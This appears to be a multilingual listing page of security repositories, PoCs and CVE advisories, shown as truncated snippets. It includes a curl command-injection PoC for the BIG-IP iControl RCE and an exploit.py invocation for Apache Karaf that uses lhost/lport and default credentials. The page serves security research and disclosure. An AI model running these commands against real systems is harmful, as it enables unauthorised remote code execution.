CVE-2021-22986-Poc

CVE-2021-22986-Poc これはBIGIP iControlの認証なしRCEのPoCです。 POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

IntRec-Pack

IntRec-Pack インテリジェンスおよび偵察パッケージ/バンドルインストーラー。 IntRec-Packは、高品質なOSINT、偵察、脅威インテリジェンスツールをダウンロード、インストール、デプロイするために設計されたBashスクリプトです。これらのプログラムに関連するさまざまな依存関係のインストールも管理するため、インテリジェンス収集環境のセットアップを包括的に支援することを目的としています。以下は、セットアップを支援するツールとユーティリティの概要です。 root@kitploit:...

CVE-2022-20474

CVE-2022-20474分析——LazyValue下の自己変更Bundle はじめに 注意事項として、本記事を読む前にBundle Mismatch関連の脆弱性について基本的な理解があることを前提とします。以下の参考資料をまだ読んでいない場合は、先に読むことをお勧めします： 1. Bundle风水——Androidシリアライズとデシリアライズの不一致脆弱性詳解：古典的な入門向けチュートリアル。 2. Android デシリアライズ脆弱性攻防史：優れた総括記事。 3. TheLastBundleMismatch：LazyValueモードにおけるBundle Mismatchの最初の記事...

code-shield

protocol-remediator C/C++ protocol・platformコードの脆弱性findingを再現可能な証拠として正規化し、 候補パッチを隔離されたコピーで検証するMVPである。code-shieldは名前衝突のリスクが 確認された作業名であるため、公開packageとCLIには中立的な内部名を使用した。 現在の実装の中心はパッチ生成モデルではなく、次の検証クローズドループである。 root@kitploit: sanitizer 또는 SARIF - Finding + EvidenceBundle - source context -...

wix-kickstartx-challenge-writeup

Wix KickstartX 挑战赛 2026 — 完整 Writeup 结果: 200/200 100% — Token: WKX-9245FA70-200 日期: 2026年3月24日 1. 发现与侦察 挑战公告 LinkedIn 上的一篇帖子宣布了 Wix KickstartX 的一项特别挑战——一个面向初级开发者的项目。 规则如下： 30 分钟，只有一次机会 得分最高的前 10 名直接晋级考试阶段 提供了两个链接：wix-kickstartx-challenge-2026.base44.app/ 和 wixkickstart.com 找到挑战入口 主站点...

NGINX_2026_CVE_Bundle_CTI_Report

🛡️ Investigación CTI Multi-CVE de NGINX 2026 CVE-2026-28755 • CVE-2026-42926 • CVE-2026-9256 • CVE-2026-42055 • CVE-2026-42533 Creado por Pratik Chhetri Fecha del informe: 2026-07-28 📌 Resumen ejecutivo...

idb

Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...

Cross-Site-Scripting-Reflected-XSS-Vulnerability-in-blackcatcms_v1.3

blackcatcmsv1.3における反射型XSS（クロスサイトスクリプティング）脆弱性 BlackCat-CMS-Bundle-v1.3 クロスサイトスクリプティングXSS CVE番号: CVE-2018-10821 https://github.com/BlackCatDevelopment/BlackCatCMS/issues/384...

Blackcat-cms-v1.2-xss-POC-by-Provensec-llc

Blackcat-cms-v1.2-xss-POC-by-Provensec-llc BlackCat-CMS-Bundle-v1.2 Cross Site ScriptingXSS Numero CVE assegnato: CVE-2017-9609...

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

Rapporto di analisi della vulnerabilità CVE-2025-14502 Riepilogo della vulnerabilità Tipo di vulnerabilità : Inclusione locale di file Local File Inclusion, LFI Versioni interessate : News and Blog Designer Bundle 1.1 e tutte le versioni precedenti Gravità : Alta Complessità dell'attacco : Bassa...

Pimcore: Insufficient Permission Check on Class Definition Creation Endpoint Allows Privilege Escalation

Summary The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structura...

offsec-karaf-exploits

offsec-karaf-exploits Verwendung: root@kitploit: python exploit.py --help Beispiel: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Payload neu erstellen Felix Framework einrichten 1. Erstelle das lib-Verzeichnis...

rauc-1.5-integration

Integrazione di RAUC 1.5 Questa repository contiene esempi per semplificare l'integrazione dell'aggiornamento RAUC in progetti esistenti. Puoi iscriverti a https://github.com/rauc/rauc-1.5-integration/issues/1 per ricevere notifiche degli aggiornamenti importanti di questa repository e...

EUVD-2026-67232

A relative path traversal issue in the zip extraction functionality in AWS diagram-as-code awsdac in versions 0.10 through 0.23 can allow a third party to write arbitrary files to the local filesystem via crafted zip entry names containing path traversal sequences. This could allow the third part...

TheLastBundleMismatch

रहस्यमयी पैच इस बार शुरुआत करते हैं उस पैच से जो Android Security Bulletin में CVE-2023-45777 के फिक्स के रूप में सामने आया था:diff diff --git a/services/core/java/com/android/server/accounts/AccountManagerService.java b/services/core/java/com/android/server/accounts/AccountManagerService.java...

nifi-CVE-2026-39816-poc

Apache NiFi CVE-2026-39816 POC Dimostrazione proof-of-concept per CVE-2026-39816, un bypass del permesso EXECUTECODE in Apache NiFi 2.8.0 che consente a un progettista di flussi a cui sono stati deliberatamente negati i privilegi di esecuzione del codice di eseguire Groovy arbitrario nella JVM di...

CVE-2026-43813

CVE-2026-43813 — bypass di enforceEnvironment di CloudAttestation Analisi di reverse engineering del bug di validazione dell'input dell'attestazione PCC che Apple ha distribuito con iOS 26.6, presente in CloudAttestation.dylib. TL;DR PCC.ComputeNodeValidator.policy.getter legge il byte...

mhf

Mobile Helper Framework is a tool that automates the process of identifying the framework/technology used to create a mobile application. Additionally, it assists in finding sensitive information or provides suggestions for working with the identified platform. How work? The tool searches for fil...

CVE-2026-62960

Git for Windows is the Windows port of Git. Prior to 2.55.0.windows.4, a malicious remote Git server can advertise a bundle URI that reaches transportgetremotebundleuri, fetchbundleuriinternal, and copyuritofile in bundle-uri.c during clone or fetch when transfer.bundleuri=true. Non-HTTPS values...

CVE-2026-62960 Git for Windows: Server-advertised bundle-uri can trigger outbound SMB callbacks via UNC and file:// paths on Windows

Git for Windows is the Windows port of Git. Prior to 2.55.0.windows.4, a malicious remote Git server can advertise a bundle URI that reaches transportgetremotebundleuri, fetchbundleuriinternal, and copyuritofile in bundle-uri.c during clone or fetch when transfer.bundleuri=true. Non-HTTPS values...